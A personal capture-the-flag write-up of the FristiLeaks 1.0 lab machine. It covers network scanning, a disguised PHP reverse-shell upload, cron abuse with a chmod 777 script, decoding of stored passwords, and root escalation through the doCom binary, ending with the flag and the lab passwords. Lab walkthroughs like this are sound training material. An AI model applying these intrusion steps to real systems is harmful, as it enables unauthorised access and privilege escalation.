FristiLeaks

Status in-progress

Add a Property

Add a comment...

Figuring out the machine IP address

```
sudo netdiscover -i eth1 -r 192.168.99.0/24
```

Bash

Nmap Scanning on the IP address

```
nmap -sV -sC -Pn -p- 192.168.99.103 -e eth1 -oN nmap
```

Bash

nmap 0.7KB

Resuts of the nmap scan in normal format

Possible network attack vectors and explanations

Name	Status	Reason
80 HTTP	potential	The only entry point into the server along with apache running.

New

COUNT 1

Gobuster Scanning on the webapp

```
gobuster -e -t 50 -u http://192.168.99.103/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
-o gobuster
```

Bash

gobuster 0.1KB

Gobuster scan results

The entry point was another URL, there was nothing important in the main URL so the other `URL /fristi` had a login page along with image of the password `(keKkeKKeKKeKkEkkEk)` and the developer name `(eezeepz)`.

This got me to the upload file page in the system.

I tested for LFI using `shell.php.png` and it worked and the system displayed `phpinfo()` without any problems. Next POA was to start a reverse shell and then enumerate to get root.

I got a reverse shell using `pentest-monkey's PHP reverse shell` and then used `python pty` to get bash

After tinkering around for a while with the cron permissions I had, I crafted a bash script to give me the permissions to read the admin folder using the following and found the things listed below

```
TRIAL SCRIPT ls -la /home/admin/ chmod 777 -R /home/admin
RUNTHIS /home/admin/cat /tmp/trial | /bin/bash - FINDINGS
CryptPass Algo -> BASE64 -> Reverse -> ROT13
whoisyourgodnow.txt -> LetThereBeFristi! (FristiGod
password) cryptedpass.txt -> thisisalsopw123 (Admin
Passowd)
```

Bash

After getting passwords to 2 accounts I `su` to these accounts and find (`find -user USERNAME > output-filename`) all the files associated with these accounts and inspected to find that `fristigod` owned a folder with

`doCom` binary in the folder named `.secret_admin_stuff`, which was interesting.

There was also a `.bash_history` file which listed the commands to execute the `doCom` binary. As it turns out, the `doCom` binary can only be run by the user named `fristi` which is indeed part of the `fristigod group`. Hence using the specified command I was able to run the `doCom` binary and figure out what was the `id` of the user and as it turns out, we got root and we can perform actions as `root`.

```
CMD -> sudo -u fristi
/var/fristigod/.secret_admin_stuff/doCom id Output ->
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
CMD -> sudo -u fristi
/var/fristigod/.secret_admin_stuff/doCom ls /root Ouptut ->
fristileaks_secrets.txt CMD -> sudo -u fristi
/var/fristigod/.secret_admin_stuff/doCom cat
/root/fristileaks_secrets.txt
```

Bash

> Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
> I wonder if you beat it in the maximum 4 hours it's supposed to take!
> Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
> **Flag: Y0u_kn0w_y0u_l0ve_fr1st1**

Finally got the flag